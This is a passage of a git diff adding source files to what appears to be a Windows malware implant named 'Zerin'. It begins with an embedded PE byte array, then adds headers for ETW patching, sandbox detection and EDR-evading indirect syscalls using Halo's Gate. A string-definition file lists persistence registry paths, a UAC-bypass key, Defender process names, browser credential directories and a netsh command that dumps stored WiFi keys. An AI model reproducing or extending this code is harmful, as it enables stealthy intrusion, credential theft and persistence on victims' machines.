0x6f, 0x74, 0x65, 0x63, 0x74, 0x00, 0x00, + 0xff, 0x05, 0x56, 0x69, 0x72, 0x74, 0x75, 0x61, 0x6c, 0x51, 0x75, 0x65, 0x72, 0x79, 0x00, 0x00, + 0x48, 0x06, 0x57, 0x72, 0x69, 0x74, 0x65, 0x46, 0x69, 0x6c, 0x65, 0x00, 0x18, 0x00, 0x63, 0x61, + 0x6c, 0x6c, 0x6f, 0x63, 0x00, 0x00, 0x19, 0x00, 0x66, 0x72, 0x65, 0x65, 0x00, 0x00, 0x3e, 0x04, + 0x6d, 0x65, 0x6d, 0x63, 0x70, 0x79, 0x00, 0x00, 0x22, 0x00, 0x5f, 0x65, 0x78, 0x65, 0x63, 0x75, + 0x74, 0x65, 0x5f, 0x6f, 0x6e, 0x65, 0x78, 0x69, 0x74, 0x5f, 0x74, 0x61, 0x62, 0x6c, 0x65, 0x00, + 0x23, 0x00, 0x5f, 0x65, 0x78, 0x69, 0x74, 0x00, 0x35, 0x00, 0x5f, 0x69, 0x6e, 0x69, 0x74, 0x69, + 0x61, 0x6c, 0x69, 0x7a, 0x65, 0x5f, 0x6f, 0x6e, 0x65, 0x78, 0x69, 0x74, 0x5f, 0x74, 0x61, 0x62, + 0x6c, 0x65, 0x00, 0x00, 0x38, 0x00, 0x5f, 0x69, 0x6e, 0x69, 0x74, 0x74, 0x65, 0x72, 0x6d, 0x00, + 0x39, 0x00, 0x5f, 0x69, 0x6e, 0x69, 0x74, 0x74, 0x65, 0x72, 0x6d, 0x5f, 0x65, 0x00, 0x3e, 0x00, + 0x5f, 0x72, 0x65, 0x67, 0x69, 0x73, 0x74, 0x65, 0x72, 0x5f, 0x6f, 0x6e, 0x65, 0x78, 0x69, 0x74, + 0x5f, 0x66, 0x75, 0x6e, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x00, 0x56, 0x00, 0x61, 0x62, 0x6f, 0x72, + 0x74, 0x00, 0x00, 0x00, 0x5f, 0x5f, 0x61, 0x63, 0x72, 0x74, 0x5f, 0x69, 0x6f, 0x62, 0x5f, 0x66, + 0x75, 0x6e, 0x63, 0x00, 0x03, 0x00, 0x5f, 0x5f, 0x73, 0x74, 0x64, 0x69, 0x6f, 0x5f, 0x63, 0x6f, + 0x6d, 0x6d, 0x6f, 0x6e, 0x5f, 0x76, 0x66, 0x70, 0x72, 0x69, 0x6e, 0x74, 0x66, 0x00, 0x0d, 0x00, + 0x5f, 0x5f, 0x73, 0x74, 0x64, 0x69, 0x6f, 0x5f, 0x63, 0x6f, 0x6d, 0x6d, 0x6f, 0x6e, 0x5f, 0x76, + 0x73, 0x70, 0x72, 0x69, 0x6e, 0x74, 0x66, 0x00, 0xa7, 0x00, 0x73, 0x74, 0x72, 0x6c, 0x65, 0x6e, + 0x00, 0x00, 0xaa, 0x00, 0x73, 0x74, 0x72, 0x6e, 0x63, 0x6d, 0x70, 0x00, 0x1e, 0x00, 0x43, 0x6f, + 0x43, 0x72, 0x65, 0x61, 0x74, 0x65, 0x49, 0x6e, 0x73, 0x74, 0x61, 0x6e, 0x63, 0x65, 0x00, 0x00, + 0x55, 0x00, 0x43, 0x6f, 0x49, 0x6e, 0x69, 0x74, 0x69, 0x61, 0x6c, 0x69, 0x7a, 0x65, 0x45, 0x78, + 0x00, 0x00, 0x7b, 0x00, 0x43, 0x6f, 0x53, 0x65, 0x74, 0x50, 0x72, 0x6f, 0x78, 0x79, 0x42, 0x6c, + 0x61, 0x6e, 0x6b, 0x65, 0x74, 0x00, 0x84, 0x00, 0x43, 0x6f, 0x55, 0x6e, 0x69, 0x6e, 0x69, 0x74, + 0x69, 0x61, 0x6c, 0x69, 0x7a, 0x65, 0x00, 0x00, 0x64, 0x00, 0x53, 0x79, 0x73, 0x41, 0x6c, 0x6c, + 0x6f, 0x63, 0x53, 0x74, 0x72, 0x69, 0x6e, 0x67, 0x42, 0x79, 0x74, 0x65, 0x4c, 0x65, 0x6e, 0x00, + 0x66, 0x00, 0x53, 0x79, 0x73, 0x46, 0x72, 0x65, 0x65, 0x53, 0x74, 0x72, 0x69, 0x6e, 0x67, 0x00, + 0x69, 0x00, 0x53, 0x79, 0x73, 0x53, 0x74, 0x72, 0x69, 0x6e, 0x67, 0x42, 0x79, 0x74, 0x65, 0x4c, + 0x65, 0x6e, 0x00, 0x00, 0x00, 0xa0, 0x00, 0x00, 0x00, 0xa0, 0x00, 0x00, 0x00, 0xa0, 0x00, 0x00, + 0x00, 0xa0, 0x00, 0x00, 0x00, 0xa0, 0x00, 0x00, 0x00, 0xa0, 0x00, 0x00, 0x00, 0xa0, 0x00, 0x00, + 0x00, 0xa0, 0x00, 0x00, 0x00, 0xa0, 0x00, 0x00, 0x00, 0xa0, 0x00, 0x00, 0x00, 0xa0, 0x00, 0x00, + 0x00, 0xa0, 0x00, 0x00, 0x00, 0xa0, 0x00, 0x00, 0x00, 0xa0, 0x00, 0x00, 0x00, 0xa0, 0x00, 0x00, + 0x00, 0xa0, 0x00, 0x00, 0x00, 0xa0, 0x00, 0x00, 0x00, 0xa0, 0x00, 0x00, 0x00, 0xa0, 0x00, 0x00, + 0x00, 0xa0, 0x00, 0x00, 0x00, 0xa0, 0x00, 0x00, 0x00, 0xa0, 0x00, 0x00, 0x00, 0xa0, 0x00, 0x00, + 0x00, 0xa0, 0x00, 0x00, 0x00, 0xa0, 0x00, 0x00, 0x4b, 0x45, 0x52, 0x4e, 0x45, 0x4c, 0x33, 0x32, + 0x2e, 0x64, 0x6c, 0x6c, 0x00, 0x00, 0x00, 0x00, 0x14, 0xa0, 0x00, 0x00, 0x14, 0xa0, 0x00, 0x00, + 0x61, 0x70, 0x69, 0x2d, 0x6d, 0x73, 0x2d, 0x77, 0x69, 0x6e, 0x2d, 0x63, 0x72, 0x74, 0x2d, 0x68, + 0x65, 0x61, 0x70, 0x2d, 0x6c, 0x31, 0x2d, 0x31, 0x2d, 0x30, 0x2e, 0x64, 0x6c, 0x6c, 0x00, 0x00, + 0x28, 0xa0, 0x00, 0x00, 0x61, 0x70, 0x69, 0x2d, 0x6d, 0x73, 0x2d, 0x77, 0x69, 0x6e, 0x2d, 0x63, + 0x72, 0x74, 0x2d, 0x70, 0x72, 0x69, 0x76, 0x61, 0x74, 0x65, 0x2d, 0x6c, 0x31, 0x2d, 0x31, 0x2d, + 0x30, 0x2e, 0x64, 0x6c, 0x6c, 0x00, 0x00, 0x00, 0x3c, 0xa0, 0x00, 0x00, 0x3c, 0xa0, 0x00, 0x00, + 0x3c, 0xa0, 0x00, 0x00, 0x3c, 0xa0, 0x00, 0x00, 0x3c, 0xa0, 0x00, 0x00, 0x3c, 0xa0, 0x00, 0x00, + 0x3c, 0xa0, 0x00, 0x00, 0x61, 0x70, 0x69, 0x2d, 0x6d, 0x73, 0x2d, 0x77, 0x69, 0x6e, 0x2d, 0x63, + 0x72, 0x74, 0x2d, 0x72, 0x75, 0x6e, 0x74, 0x69, 0x6d, 0x65, 0x2d, 0x6c, 0x31, 0x2d, 0x31, 0x2d, + 0x30, 0x2e, 0x64, 0x6c, 0x6c, 0x00, 0x00, 0x00, 0x50, 0xa0, 0x00, 0x00, 0x50, 0xa0, 0x00, 0x00, + 0x50, 0xa0, 0x00, 0x00, 0x61, 0x70, 0x69, 0x2d, 0x6d, 0x73, 0x2d, 0x77, 0x69, 0x6e, 0x2d, 0x63, + 0x72, 0x74, 0x2d, 0x73, 0x74, 0x64, 0x69, 0x6f, 0x2d, 0x6c, 0x31, 0x2d, 0x31, 0x2d, 0x30, 0x2e, + 0x64, 0x6c, 0x6c, 0x00, 0x64, 0xa0, 0x00, 0x00, 0x64, 0xa0, 0x00, 0x00, 0x61, 0x70, 0x69, 0x2d, + 0x6d, 0x73, 0x2d, 0x77, 0x69, 0x6e, 0x2d, 0x63, 0x72, 0x74, 0x2d, 0x73, 0x74, 0x72, 0x69, 0x6e, + 0x67, 0x2d, 0x6c, 0x31, 0x2d, 0x31, 0x2d, 0x30, 0x2e, 0x64, 0x6c, 0x6c, 0x00, 0x00, 0x00, 0x00, + 0x78, 0xa0, 0x00, 0x00, 0x78, 0xa0, 0x00, 0x00, 0x78, 0xa0, 0x00, 0x00, 0x78, 0xa0, 0x00, 0x00, + 0x6f, 0x6c, 0x65, 0x33, 0x32, 0x2e, 0x64, 0x6c, 0x6c, 0x00, 0x00, 0x00, 0x8c, 0xa0, 0x00, 0x00, + 0x8c, 0xa0, 0x00, 0x00, 0x8c, 0xa0, 0x00, 0x00, 0x4f, 0x4c, 0x45, 0x41, 0x55, 0x54, 0x33, 0x32, + 0x2e, 0x64, 0x6c, 0x6c, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x30, 0x00, 0x00, 0x0c, 0x00, 0x00, 0x00, 0x10, 0xa0, 0x00, 0x00, 0x00, 0x40, 0x00, 0x00, + 0x34, 0x00, 0x00, 0x00, 0x80, 0xa0, 0x88, 0xa0, 0x90, 0xa0, 0x98, 0xa0, 0xa8, 0xa0, 0x40, 0xa2, + 0x50, 0xa2, 0x60, 0xa2, 0x70, 0xa2, 0x80, 0xa2, 0x90, 0xa2, 0xa0, 0xa2, 0xb0, 0xa2, 0xc0, 0xa2, + 0xd0, 0xa2, 0xe0, 0xa2, 0xf0, 0xa2, 0x00, 0xa3, 0x10, 0xa3, 0x08, 0xa4, 0x50, 0xa4, 0x58, 0xa4, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, +}; diff --git a/include/evasion.h b/include/evasion.h new file mode 100755 index 0000000..30fa993 --- /dev/null +++ b/include/evasion.h @@ -0,0 +1,24 @@ +#ifndef ZERIN_EVASION_H +#define ZERIN_EVASION_H + +#include "strings.h" +#include "syscalls.h" +#include "sleep_obf.h" +#include "indirect_syscalls.h" +#include "rootkit.h" + +// Initialize all evasion subsystems. +// Call once early in agent startup. +int evasion_init(void); + +// Patch EtwEventWrite to prevent runtime telemetry. +int evasion_patch_etw(void); + +// Check for VM/sandbox environment (score-based detection). +// Returns 1 if sandbox detected, 0 if clean. +int evasion_check_vm(void); + +// Clean up evasion state. +void evasion_cleanup(void); + +#endif // ZERIN_EVASION_H diff --git a/include/indirect_syscalls.h b/include/indirect_syscalls.h new file mode 100755 index 0000000..291b3dd --- /dev/null +++ b/include/indirect_syscalls.h @@ -0,0 +1,97 @@ +#ifndef ZERIN_INDIRECT_SYSCALLS_H +#define ZERIN_INDIRECT_SYSCALLS_H + +#ifdef _WIN32 + +#include +#include + +// ============================================================================ +// Indirect Syscalls +// +// Instead of calling Nt* functions through ntdll (where EDR inline hooks +// intercept every call), we: +// 1. Extract the System Service Number (SSN) from ntdll's stub bytes +// 2. Find a clean "syscall; ret" gadget inside ntdll's .text section +// 3. Set EAX = SSN, R10 = first arg, then JMP to the gadget +// +// The return address on the call stack points into ntdll's address range, +// so EDR call-stack inspection sees a legitimate origin. +// +// Halo's Gate: If a stub is hooked (first bytes overwritten), we scan +// neighboring syscall stubs (SSN ± offset) to calculate the correct SSN. +// ============================================================================ + +// Initialize the indirect syscall table. +// Must be called once during agent startup (after PEB is accessible). +// Returns 0 on success, -1 on failure. +int indirect_syscalls_init(void); + +// Check if indirect syscalls were initialized successfully. +int indirect_syscalls_ready(void); + +// --------------------------------------------------------------------------- +// Wrapper functions — same signatures as the real Nt* functions. +// Implemented as naked assembly stubs that dispatch via SSN + gadget JMP. +// --------------------------------------------------------------------------- + +NTSTATUS sc_NtAllocateVirtualMemory( + HANDLE ProcessHandle, + PVOID *BaseAddress, + ULONG_PTR ZeroBits, + PSIZE_T RegionSize, + ULONG AllocationType, + ULONG Protect +); + +NTSTATUS sc_NtProtectVirtualMemory( + HANDLE ProcessHandle, + PVOID *BaseAddress, + PSIZE_T RegionSize, + ULONG NewProtect, + PULONG OldProtect +); + +NTSTATUS sc_NtWriteVirtualMemory( + HANDLE ProcessHandle, + PVOID BaseAddress, + PVOID Buffer, + SIZE_T NumberOfBytesToWrite, + PSIZE_T NumberOfBytesWritten +); + +NTSTATUS sc_NtCreateThreadEx( + PHANDLE ThreadHandle, + ACCESS_MASK DesiredAccess, + PVOID ObjectAttributes, + HANDLE ProcessHandle, + PVOID StartRoutine, + PVOID Argument, + ULONG CreateFlags, + SIZE_T ZeroBits, + SIZE_T StackSize, + SIZE_T MaximumStackSize, + PVOID AttributeList +); + +NTSTATUS sc_NtClose( + HANDLE Handle +); + +NTSTATUS sc_NtQueryInformationProcess( + HANDLE ProcessHandle, + ULONG ProcessInformationClass, + PVOID ProcessInformation, + ULONG ProcessInformationLength, + PULONG ReturnLength +); + +NTSTATUS sc_NtFreeVirtualMemory( + HANDLE ProcessHandle, + PVOID *BaseAddress, + PSIZE_T RegionSize, + ULONG FreeType +); + +#endif // _WIN32 +#endif // ZERIN_INDIRECT_SYSCALLS_H diff --git a/include/obf_strings.def b/include/obf_strings.def new file mode 100755 index 0000000..c3c577a --- /dev/null +++ b/include/obf_strings.def @@ -0,0 +1,155 @@ +# Obfuscated string definitions — one ID, "string" per line +# Lines starting with # are comments. Blank lines are ignored. +# Generated code uses ChaCha20 encryption with a random key per build. + +OBF_ZERIN_UPDATE, "ZerinUpdate" +OBF_ZERIN_SVC, "ZerinSvc" +OBF_ZERIN_MAINTENANCE, "ZerinMaintenance" +OBF_ZERIN_TRANSFER, "ZerinTransfer" +OBF_ZERIN_WMI, "ZerinWMI" +OBF_ZERIN_PORT, "ZerinPort" +OBF_ZERIN_UPDATE_EXE, "ZerinUpdate.exe" +OBF_ZERIN_EXE, "zerin.exe" +OBF_RUN_KEY_PATH, "Software\\Microsoft\\Windows\\CurrentVersion\\Run" +OBF_SESSION_KEY_PATH, "Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\SessionInfo" +OBF_ENVIRONMENT, "Environment" +OBF_DESKTOP_PATH, "Control Panel\\Desktop" +OBF_SCRNSAVE, "SCRNSAVE.EXE" +OBF_LOGON_SCRIPT, "UserInitMprLogonScript" +OBF_MAINTENANCE_VAL, "Maintenance" +OBF_SETHC_IFEO, "SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Image File Execution Options\\sethc.exe" +OBF_PRINT_MONITORS, "SYSTEM\\CurrentControlSet\\Control\\Print\\Monitors" +OBF_LSA_PATH, "SYSTEM\\CurrentControlSet\\Control\\Lsa" +OBF_SECURITY_PACKAGES, "Security Packages" +OBF_COM_CLSID_PATH, "Software\\Classes\\CLSID\\{42aedc87-2188-41fd-b9a3-0c966feab6b5}\\InProcServer32" +OBF_SHM_NAME, "Local\\ZerinRkShm" +OBF_EVT_NAME, "Local\\ZerinRkEvt" +OBF_SERVICES_PATH, "SYSTEM\\CurrentControlSet\\Services" +OBF_DEBUGGER, "Debugger" +OBF_DRIVER, "Driver" +OBF_THREADING_MODEL, "ThreadingModel" +OBF_SCREEN_SAVE_ACTIVE, "ScreenSaveActive" +OBF_SCREEN_SAVE_TIMEOUT, "ScreenSaveTimeOut" +OBF_ZERIN_DISPLAY, "Zerin Maintenance Service" +OBF_CMD_EXE, "cmd.exe" +OBF_NTDLL, "ntdll.dll" +OBF_KERNEL32, "kernel32.dll" +OBF_ADVAPI32, "advapi32.dll" +OBF_WINHTTP, "winhttp.dll" +OBF_POWERSHELL, "powershell.exe" +OBF_PERSIST_MUTEX, "Local\\ZerinPersistMtx" +OBF_MS_SETTINGS_CMD, "Software\\Classes\\ms-settings\\shell\\open\\command" +OBF_DELEGATE_EXECUTE, "DelegateExecute" +OBF_NETAPI32, "netapi32.dll" +OBF_AMSI, "amsi.dll" + +# ── AV / Defender process names ────────────────────────────────────── +OBF_MSMPENG, "MsMpEng.exe" +OBF_MPCMDRUN, "MpCmdRun.exe" +OBF_MSSENSE, "MsSense.exe" +OBF_SECHEALTH, "SecurityHealthService.exe" +OBF_SGRMBROKER, "SgrmBroker.exe" + +# ── Browser credential paths ──────────────────────────────────────── +OBF_CHROME_USERDATA, "Google\\Chrome\\User Data" +OBF_EDGE_USERDATA, "Microsoft\\Edge\\User Data" +OBF_BRAVE_USERDATA, "BraveSoftware\\Brave-Browser\\User Data" +OBF_OPERA_USERDATA, "Opera Software\\Opera Stable" +OBF_VIVALDI_USERDATA, "Vivaldi\\User Data" +OBF_FIREFOX_REG, "SOFTWARE\\Mozilla\\Mozilla Firefox" +OBF_FIREFOX_REGMAIN, "SOFTWARE\\Mozilla\\Mozilla Firefox\\%s\\Main" +OBF_FIREFOX_X64, "C:\\Program Files\\Mozilla Firefox" +OBF_FIREFOX_X86, "C:\\Program Files (x86)\\Mozilla Firefox" + +# ── DLL names ──────────────────────────────────────────────────────── +OBF_VERSION_DLL, "version.dll" +OBF_DXGI_DLL, "dxgi.dll" +OBF_D3D11_DLL, "d3d11.dll" +OBF_RSTRTMGR_DLL, "rstrtmgr.dll" + +# ── Command strings ───────────────────────────────────────────────── +OBF_WMIC_AV, "cmd.exe /c wmic /namespace:\\\\root\\SecurityCenter2 path AntiVirusProduct get displayName /format:list" +OBF_NETSH_PROFILES, "netsh wlan show profiles" +OBF_NETSH_PROFILE_KEY, "netsh wlan show profile name=\"%s\" key=clear" +OBF_IPCONFIG_FLUSH, "cmd.exe /c ipconfig /flushdns" +OBF_SELF_DELETE, 